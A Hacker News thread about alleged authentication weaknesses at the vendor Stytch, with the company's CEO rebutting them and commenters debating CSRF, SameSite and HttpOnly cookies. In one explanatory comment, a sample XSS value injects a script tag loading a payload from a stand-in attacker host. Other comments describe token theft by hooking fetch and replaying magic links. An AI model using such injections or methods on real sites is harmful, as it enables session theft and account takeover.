Tell HN: Stytch Login SaaS Unicorn has common auth vulnerabilities

58 points by squid322 ↗ HN
_TL;DR_: Stytch, a Login SaaS Unicorn, has no CRSF-protection in their authentication API and other questionable security practices, coupled with a nonexistent security policy.

First of all: Why am I posting this on Hacker News instead of disclosing directly?

From experience, a lack of security policies and of communication on existing vulnerabilities implies retaliatory practices when submitting vulnerabilities responsibly. Since MITRE CVE does not accept vulnerabilities for SaaS services, I figured that Hacker News would be the way to get Stytch aware of their issues without getting me in the crosshairs.

The setting:

A few weeks ago (in June 2022 to be exact) I was looking at different authentication services and Stytch was one of the services that got my attention. Stytch.com was founded in 2020 with over $125M [1] raised at a $1bn+ valuation [2].

Checking out what the fuzz was about I decided to look into their security practices. The lack of a bug bounty program (e.g. HackerOne), ethical disclosure policy, and security policy already left a bad feeling. But I was keeping an open mind and wanted to see what their API has to offer.

The scoop:

The most critical issue I came across was a complete lack of Cross-Site Request Forgery defenses. All of the provided authentication APIs (e.g. [4]) except for Social Sign-In are vulnerable to the most basic of login attack vectors: Login CSRF [3]. This can be used to steal credit card information, for example. CSRF is completely missing in all of the Stytchs API concepts, a major oversight in the API design.

Further I found that the OTP tokens sent via their "passwordless" email authentication were valid for up to 7 days and did not invalidate on use. Attackers may find old magic link tokens in the browser, chat, or email histories and use them to get a valid session. While this issue has been fixed since June 2022, the vulnerability was not disclosed to customers.

Recently, Stytch has introduced a concept from OAuth2 called PKCE - a spec that is difficult to master for everyday developers - into their non-standardized Magic Link API which does not use a three-legged delegation authorization mechanism. This is not a direct vulnerability per se, but at least a questionable choice in terms of security.

A full report can be found here for anyone interested: https://www.klgrth.io/paste/kmxof

[1] https://www.crunchbase.com/organization/stytch-auth [2] https://stytch.com/blog/announcing-series-b/ [3] https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html#login-csrf [4] https://stytch.com/docs/passcodes#sms_auth

51 comments

[ 12.4 ms ] story [ 190 ms ] thread
Disclosure: I work for a competitor of Stytch, FusionAuth.

First, I'm sorry you felt you had to post this on HN to both alert users and not be retaliated against. I wish you'd had an avenue to disclose the issues less publicly. This would allow the company to fix them and not put their customers at risk.

I think every company, and certainly every auth company, should welcome security issue reporting, as well as take other steps like regularly paying for pen testing. We do ( https://fusionauth.io/security ).

However, I haven't looked at how Stytch implemented PKCE, but it can provide CSRF protection in some scenarios.

The bigger picture is that this is just another reason to not invent your own standards. Use options like OIDC and benefit from the hard won wisdom of others.

Other reading:

* https://datatracker.ietf.org/doc/html/draft-ietf-oauth-secur... the OAuth Security BCP

* https://owasp.org/www-community/attacks/csrf CSRF attack description

They did have such an avenue, they elected not to use it.
Could be an interesting marketing approach for a Security/Pen Test SaaS.. Heres a vulnerability, pay for our service and we'll provide a full report.
I get spam for that all the time - both for "pen test" and for "seo test".

Basically someone fires up a tool that checks a few things mentioned in a best practices document somewhere, scans as much domains as possible, and then sends out emails with the (subset of) the results.

Invariably, the results are false positives but hey, if you don't know that, they might get a new client. They'll file the (automatically generated) report and presto, easy money and a chance to upsell a retainer.

Even more damning, looks like they got a SOC-2 Type II via Vanta in July of 2021. I just had to go through SOC-2 Type II at two startups in the last few years so I'm very familiar with the requirements. How the hell did they pass multiple penetration tests and a third party audit with such blatent security issues that an automated scan would detect? If anything, I think this says something much more damning about Vanta and/or about whatever penetration testing firm and/or auditor Vanta referred them to. It's on Vanta to make good referrals, it's on the auditor to validate that the pen tester is reputable and that all the requirements are met, and it's on the pen tester to actually check these things. All are at fault.

They never should have come close to passing. Details on the audit seem to be sparse so I can't call out the auditor and/or penetration tester but yeah this is a real bad look for the whole industry.

This really muddies the water for every security-minded startup that has taken the trouble to go through SOC-2 or ISO 27001. Very disappointing.

I guess billion dollar valuation really can buy you a rubber stamp.

Might be like the credit rating agencies in 2008. If you want to keep your business with venture backed startups, you better play by their rules.
SOC2 is a joke and pen testers usually do a terrible job. Almost all of SOC2 has nothing to do with whether you built secure software. It seems like pen testers usually just run standard scanners, report all the false positives, and then call the job done. If your software team has been writing millions of lines of code for years, how can you expect someone to find actual security issues in something they have never seen before in just days or weeks?
It really wasn't a joke when we went through the process at Arist (YC S20) I can tell you. Pen tester found some really meaningful privilege escalation stuff we were able to fix before launching our new platform that was 100% specific to our system and never would have come up in an automated scanner and went through our entire threat model with great detail. Additionally, the automated scanners at least catch CSRF stuff. Somehow they even missed that here
Unfortunately there is a large quality range for pen-tests. There are some that are meant to check the box and others that actually find vulnerabilities.
Right but there is a ring of accountability -- the compliance vendor (Vanta) should only refer startups to good auditors and pen testers. The auditor should verify that the pen tester is reputable, and the pen tester should check for basic things like this that would show up in an automated scan. Every link in the chain seems to have failed here, but Vanta is the one that did the initial referring presumably.
I mainly work with financial institutions and most of them have had their first real hands-on pentest in just the past year despite receiving audits (nessus scans) quarterly to yearly by various entities for decades (FDIC, state department of banking, cyber insurance, and the ATM vendor).

There's a lot of stuff that comes up in a properly driven pentest that nessus just doesn't do. Never had a nessus operator pass the hash into domain admin or pretend to be a Spectrum technician and hide in the closet until after hours.

Who did your pentest? Was that your first one? I'm guessing our codebase is older and bigger if you were S20, and we've had several pentests at this point, so maybe they are scraping the bottom of the barrel.
we used Federacy. One big advantage we had though is our app is 100% serverless via Ruby on Jets. So it's a bunch of rails code that runs in lambda, makes the security footprint at lot easier to deal with. No EC2 instances for example.
One point of clarification: Vanta doesn't do the audits. They connect you with auditors. There is no reason to think you can't buy your way into a SOC 2 cert with minimal effort.
Right, but Vanta is known for having a relationship with the auditors they use that is cozier than it is between SecureFrame or Drata and their auditors. This combined with the fact that they call out Vanta in their own blog post makes the whole thing even sketchier... almost like Vanta hooked them up with a rubber stamp AND almost like they don't even realize themselves that Vanta doesn't do the audit, which is CRAZY
1) SOC2 is mostly just a rubber stamp and not a guarantee you're doing much of anything particularly well.

2) Reed (CEO) already responded to these claims: https://news.ycombinator.com/item?id=33164969

With (2) in mind: no, I don't think it's damning at all. Sure looks that way if you fail to analyze half the claims and take the remaining half out of context :)

throwaway because I am in the ecosystem

Stytch... is a weird business. It's unclear to me why they were able to raise so much money with such low revenue. It's almost as if the VCs really really wanted them to succeed, hoping and dreaming and throwing cash into the fire.

there was a lot of fanfare around their founding team but not sure if they did that much at their previous employer.

To be fair, there are examples of this in almost every industry and/or software-product vertical.
Isn't CSRF basically dead after `SameSite=Lax` was made the default [1]? Also, magic links being valid upto certain time doesn't sound a serious vulnerability to me. If the hacker has access to person's email/browser, the game is already over. There could be valid reasons—UX-wise—for not making magic links invalidate on the first use. Ex, the user wants to login on phone with the same link. I am sorry, but the post sounds more like amateurs who love reporting things like this to companies, hoping one of them will fall for it and pay them a bounty.

[1]: https://scotthelme.co.uk/csrf-is-really-dead/

SameSite cookies don't protect against Login CSRF by default, since that attack can be triggered by a request that carries no cookies at all.

I wrote a bit about that here: https://simonwillison.net/2021/Aug/3/samesite/#login-csrf-sa...

Plus, SameSite cookies are only supported by 95% of worldwide browser traffic, according to https://caniuse.com/same-site-cookie-attribute

If you're a vendor selling SSO services I'm going to expect you to have 100% coverage on CSRF mitigations like this!

These attacks, although theoretically possible, require a lot of assumptions. We want the user to be using an archaic browser, visitor to be user of the site we want to exploit, and visiting a the site we have exploit on.The problem is that if the company dedicated resources to fixing such small issues, which are almost guaranteed to not being exploited, the company is ignoring more important ones which have much wider surface, like an exposed internal tool.
Did you message them at their security disclosure email? What did they say?
(comment deleted)
This reads like it boils down to Stytch sends magic tokens that both authenticate and don't expire. Is that right?

And the fix is...expire properly and make the user re-auth or?

Maybe it's like this to handle when the link is opened in a different browsing session?

I don't think that's exactly the point, but yes, it's what the author here is directly stating.

Unless I'm misunderstanding, the underlying concern is that Stytch is:

- A new authentication company, that focuses 100% on authentication, and

- Has raised an absolutely insane amount of money for that, and

- Has extremely novice and easy-to-fix issues, and

- Those mistakes aren't being immediately addressed

I'm not saying that people aren't allowed to make mistakes, and auth mistakes can be very easy to make, but it's way more concerning if you're claiming to be the "Future of User Authentication" while making them.

Edit: formatting

I've been trying to figure out options for 100% robust protection against CSRF for late 2022 (without using csrftokens in requests, which are tried and tested but are a little bit cludgy to build and use).

It's proving surprisingly difficult to research. Here are my notes so far: https://github.com/simonw/public-notes/issues/2

SameSite=Lax is almost but not quite the answer I'm looking for, for a couple of reasons:

- It doesn't protect against attacks from subdomains, since they can trigger requests that use existing Lax cookies. This is a problem because I can never be sure that a future decision won't be made to CNAME helpdesk.mysite.com over to some third party vendor who might themselves have security holes that enable XSS attacks to run against my domain

- SameSite cookie support is at 95.75% global usage. That's not 100% yet. Where security is concerned, I care about that 4.25% of users. https://caniuse.com/same-site-cookie-attribute

How about asserting that the referrer must have at least a matching origin, or better yet path?

I don’t immediately know of any sane configurations that strip a same-origin referrer, but that would cause every request to be blocked as cross-site.

Spoofing a third-party referrer to same-origin is rare, but occasionally done (I think uMatrix defaults to doing that). And unfortunately, it looks like Firefox at least (the only one I’ve checked) includes a trailing slash on third-party referrers rather than only including the origin (that is, it sends `Referer: https://example.com/` for different-origin requests rather than `Referer: https://example.com` like I hoped), so you can’t completely reliably distinguish between an actual first-party request of /, and a spoofed third-party request. But if you’re OK blacklisting the root path, it’d work.

(Actually, what about the Origin header? I’m a little rusty on current statuses and usages of the Origin and Referer headers; haven’t been doing loginny HTTP for a few years. Can’t remember how old the Origin header is, either. But is there some reason you’re not just going for it?)

Lax plus http-only+secure is probably the best solution atm. I can’t remember details, but IIRC, that should work for the last 10 years or so.
95.75% is pretty close to solid for SameSite. Those same 4.25% of users who don't support same site are using IE6-10 (.15%), Firefox <2018 (.44%), Chrome <2016 (.35%). The amount of vulnerabilities in those browsers are huge and likely just are leaking cookies anyway through known issues that have since been patched. I'm not spending any time working bugs on IE 6-10 just to get to 100%.
SameSite=Lax plus CORS does the trick.

Block requests where origin=helpdesk.mysite.com.

Also, since you're concerned about subdomain attacks, make sure you set the cookie on a subdomain rather than the naked domain to prevent it from leaking.

Edit: you can put it on the naked domain if your app is on the naked domain. If you do that, do not set the Domain= attribute in your Set-Cookie because that will cause it to leak to subdomains.

Author links to the docs, but fails to mention if they emailed security@stytch.com - which has not only been in docs since at least late 2021, but also found doing a simple Google:

- https://stytch.com/docs/#security_overview

* Note: Search for “security@“ on link above.

- https://web.archive.org/web/20210801185042/https://stytch.co...

- https://www.google.com/search?q=stytch+security+disclosure

To me, little strange to be so critical and have obviously spent time to research and document their findings, then fail to do even basic due diligence.

Also appears author is posting this anonymously, which given the prior information, makes me wonder what their motives are. To me, this feels more like an attack than responsible disclosure. Flagging the post.

* "The Wayback Machine has not archived that URL."

* The google search you linked it took me 2 minutes staring at the results page before I notifed the part where the relevant information comes up. It's on a sub-link with the heading "Docs", 80% of the way down the page in an h3. That's pretty damn buried.

I think it's safe to say they essentially phoned in and checked the box on the whole security disclosure thing. Do they meet the requirement technically? Yes. But the info is actually pretty buried so much so that archive.org has never seen it before. Should be on their site footer.

Either I'm missing something here or the login CSRF explained in the report is a very weird and not exceptional impactful vulnerability. As described the author is talking about using a CSRF attack to force someone to authenticate to a service that uses Stytch.

Regardless this is a HUGE stretch to say "has no CRSF-protection in their authentication API". You've shown one instance where they don't have CSRF protection on an endpoint that could be argued it's not necessary. Do they have CSRF protection on endpoints that let you adjust your account, perform actions in an app, or other legitimately concerning endpoints?

I'd go a step further and stay the author is really making security researchers look bad.

Can't really blame anyone for being concerned about corporate retaliation, but there are most certainly institutions that would send an email on your behalf to disclose vulnerabilities to a security@ email if you wanted to remain anonymous out of a sense of caution.

On top of that you've made some inflated comments on the general security practices about this company with no real evidence and the vulnerabilities listed best-practices at best and inconsequential at worst.

I question the motives behind a post like this:

Does the author have some financial incentive to attempt to discredit Stytch? Does the author want to cause some panic/concern by making scary claims about Stytch? Does the author not truly understand the impact of their vulns and thing that this is a serious issue when it's not?

I can't say but the whole situation really sits wrong with me.

I'm all for this just being a disgruntled researcher as this is all really damning for the industry and for this startup if true, but the replay attacks on magic link login emails are really no small thing, especially for a SOC-2 caliber startup with this kind of valuation.

All you have to do is sneak onto your target's gmail while they aren't looking (or phone), forward one of those emails within a week of them arriving, and you have 7-x days to compromise their account. This is very different from almost any other magic link which by convention are always consume-on-use with a short expiration and often a context cookie reqiurement.

Imagine the CTO is screen sharing and a notification showing the code part of the link shows up without them noticing and now anyone on the call who noticed has a week to login as the CTO. This stuff can happen way easier than you think.

According to the report, the replay attack is only valid for 1 hour for login links, and 1 week for sign up links. I agree that there's some risk here, but the fix is probably straightforward (adjust timing to something more realistic or just invalidate them after use).
> just invalidate them after use

I can't speak for Stytch, but I know at $CURJOB, we have run into issues with this where corporate phishing protection software invalidates one time use codes. I believe it does that because it retrieves links in emails before the user clicks on them. This was an issue several of our customers have raised. So it isn't as straightforward as you might think.

There's more details, including the workaround we ended up using, on the GH issue: https://github.com/FusionAuth/fusionauth-issues/issues/629

PS I agree they should absolutely have guidance around link lifetime as well as safe defaults. Converting the links to one-time use seems like a good start.

> the fix is probably straightforward

Something I totally agree with before you've passed multiple audits. At this stage it's more a question of how the hell did this slip by 2 pen tests and 2 external audits (since they will have had to renew their SOC-2 by now.

The "how this slipped through" is much more concerning than "what slipped through", though the "what slipped through" here is also rather serious imo.

I’m the founder/CEO at Stytch, and the amount of misinformation and direct falsehoods in this post are pretty jarring. I’m surprised this has gotten any traction on HN, but I’m happy to go point-by-point:

- OP claims we do not have a bug bounty program. We do have a private bug bounty program. We also triage all reports that are sent to security@stytch.com. In addition to this, we have an in-house security engineering team and work with an external firm.

- OP claims we do not have a responsible disclosure program. We do [1]

- On the point about CSRF, OP is correct that login CSRF scenarios are common with magic link products. For the uninitiated, Login CSRF is a vulnerability where an attacker gets a victim to log into an account controlled by the attacker, instead of their own. For example, an attacker could forward a magic link email to a victim, who clicks it unknowingly and ends up logged into the attacker’s account. Stytch adapted PKCE [2] to magic links so that applications have cryptographic proof that the device clicking on the magic link is the same device that originally requested the magic link. Our PKCE design was audited by our external security consultant. PKCE - as well as other more contemporary cookie-based CSRF measures - are not effective on mobile applications due to heavy use of webviews. Often, there is no guarantee that the browser on the device (perhaps an embedded webview within an application) that requests the magic link is the same browser that is opened by the email client when the magic link is received. For mobile-centric customers with workloads that are sensitive to login CSRF, we recommend pairing magic links with one of our second factor products such as SMS OTP, TOTP, or WebAuthn.

- On their point about OTP tokens, it’s unclear if they’re talking about our magic link product or our actual one-time passcode products. In either case, the author is incorrect. Each product behaves slightly differently. For email/SMS/whatsapp one-time passcodes, these tokens expire both a) after first-time use and b) if the developer initiates a new one. For magic links, the token is invalidated once it is consumed or when it expires (whichever comes first). Their description of default behavior is also misleading. For example, while a sign-up magic link defaults to 1 week expiration (and can be configured lower) due to common email confirmation flows at sign-up, a login magic link has a lower default expiration at 1 hour. For OTP codes, the default code expires in 2 minutes and the longest it can be valid for is 10 minutes (this distinction is by design as there’s less entropy with a 6-digit code than a magic link token)

[1] https://stytch.com/docs/#security_overview [2] https://stytch.com/docs/magic-links#email-magic-links_adding...

I signed in to stytch.com and see a cookie called "stytch_session_jwt" that is not set with HttpOnly.

It appears to refresh against https://stytch.com/web/sdk/sessions/authenticate with a Basic auth token which is also set on the client-side

Is there any protection to prevent this from leaking during an XSS attack? How does that work?

Happy to dive into that. For those unfamiliar, XSS attacks are a type of vulnerability where an attacker tricks a website into running the attacker’s code on an end user’s browser. For example, an attacker might set their profile picture URL to be `”/img><script src=”attacker.com/payload.js” />`, which if not properly sanitized would trigger the script to fire when inserted into the DOM. Credential exfiltration is the process of abusing an existing XSS vector to collect user sessions for later use. HTTPOnly cookies are an additional layer of security that can prevent exfiltration by preventing client-side JS from accessing the user session token. However, if the application has an XSS vector, the application is already severely compromised.

The approach our SDK takes (using client-side JS to write to storage) does not offer HTTPOnly protection. This pattern mirrors the approach taken by Firebase, which stores access tokens in local storage. In order to mitigate XSS impact, we have a few mechanisms available. The session JWT itself is only valid for 5 minutes (there is also a longer-lived opaque token, which is valid for longer and is rotated on its own cadence). We’re also introducing support for risk-based controls such as device fingerprinting.

That being said, there are designs that allow 3rd party APIs like ours to set HTTPOnly cookies, by proxying the 3rd party APIs as subdomains. In the future, we'll likely also offer a HTTPOnly session management offering in the SDK to interested customers.

A final note - for integrations with backend-as-a-service that require passing the JWT in a header (hasura [1], mongo atlas [2]), it's impossible to keep the JWT httponly. You can have multiple audiences but the JWT must be exposed to application code in order for the application code to send it somewhere else.

[1] https://hasura.io/docs/latest/auth/authentication/jwt/#heade... [2] https://www.mongodb.com/docs/realm/web/authenticate/#custom-...

Of course, I am not concerned that a 5 minute JWT is not HttpOnly. I did not intend to imply that.

However, I am concerned that the refresh mechanism is also not HttpOnly.

Firebase storing access tokens in client-side storage is an example of the former, not the latter. Are they also storing refresh tokens client-side?

FWIW - I am surprised that you would conflate access tokens and refresh tokens like this.

Yes, Firebase also stores refresh tokens client-side [1]. The trade-off that both Firebase and Stytch are managing when we follow this pattern is the following:

- You can provide a significantly better developer experience and set-up with this architecture. While there are designs that allow 3rd party APIs like ours to set HTTPOnly cookies by proxying the 3rd party APIs as subdomains, this creates new burdens on the developer for minimal gain considering that a XSS attack vector indicates a severe compromise of the application.

- Today, customers that feel strongly about using HTTPOnly session management will opt for a direct integration with our API using one of our back-end client libraries rather than our JS SDK. While we have interest in providing a HTTPOnly solution in the future to interested customers, we’ve decided the default behavior of the existing SDK is better suited for most developers.

[1] https://github.com/firebase/firebase-js-sdk/blob/0b3ca78eb97...

That's really surprising, thank you for following up long after this post has been flagged. That snippet certainly shows the refresh token is accessible client-side.

I remain shocked that an auth company CEO would push a solution without HttpOnly protection. This would not get by our security audits, and Auth0 and many open source tools I've used do not have the same limitation (Auth0 sets it in the SDK rather than a proxy).

OWASP and NIST are aligned that HttpOnly cookie should be used:

[1] https://cheatsheetseries.owasp.org/cheatsheets/Session_Manag...

[2] https://pages.nist.gov/800-63-3/sp800-63b.html#711-browser-c...

No problem – I’m happy to engage in good-faith discussions like this one when there are valid nuances to explore.

One callout I’d like to make is that there are two kinds of SDKs. Client-side ones (like Javascript SDKs) and Server-side ones (NodeJS, Go, Python, etc.). The server-side ones are capable of setting HttpOnly cookies, because the server-side ones run on the server and not in a browser context. This is true for both Auth0 and Stytch, and someone using any of the Stytch server-side SDKs will have HttpOnly protection.

Client-side only SDKs are never capable of setting first-party HttpOnly cookies without the aid of a proxy. In fact, there is no truly secure storage mechanism addressable by clientside javascript. All writable storage is accessible to all javascript loaded in the domain - that is to say that if at any point the Auth0 SDK has access to a token, any XSS attack running in the same document will also have access.

Auth0 has numerous clientside SDKs, but we’ll look at their most popular one - @auth0/auth0-spa-js. This SDK stores refresh tokens in a cache [1] in a few ways:

- By default, in memory, which makes exfiltration harder but still very possible via client-side JS. Wrapping a token in a closure doesn’t mean it isn’t addressable - a hacker can monkeypatch and listen to window.fetch for example. This also means that login state is not preserved across tabs or page refreshes, which is quite frankly extremely frustrating to both developers and users

- Auth0 also supports an iframe based flow, which breaks on browsers that use ITP2 such as Safari [2] - so 20% of all users on desktop and 25% of all users on mobile.

- Finally, for customers who do not want the above restrictions, Auth0 allows localstorage [3] to be configured as a cache storage. Local storage is just as open to XSS exfiltration as non-HTTPOnly cookies.

So while yes, Auth0 does not set cookies, their refresh tokens are still accessible client-side in many common deployment scenarios, and are still vulnerable to the same XSS exfiltration vulnerability that HTTPOnly cookies protect against.

Overall, the main reason that Google’s security team, Auth0’s security team, and our security team are comfortable with offering a non-HTTPOnly session management solution in a JS SDK comes down to:

1. HTTPOnly as a security layer can help prevent exfiltration, but if an app already has an XSS vector, it’s already severely compromised, making such a layer moot.

2. As an auth company (whether you’re Stytch vs. Auth0 vs. Google Firebase), you need to make a decision on how much flexibility you want to offer developers. Our stance is that when additional flexibility and an improved developer experience do not create any practical security risk, we should provide that better developer experience to our customers.

[1] https://github.com/auth0/auth0-spa-js/blob/0de9c6bf61d37fc21...

[2] https://community.auth0.com/t/silent-authorization-not-worki...

[3] https://github.com/auth0/auth0-spa-js/blob/0de9c6bf61d37fc21...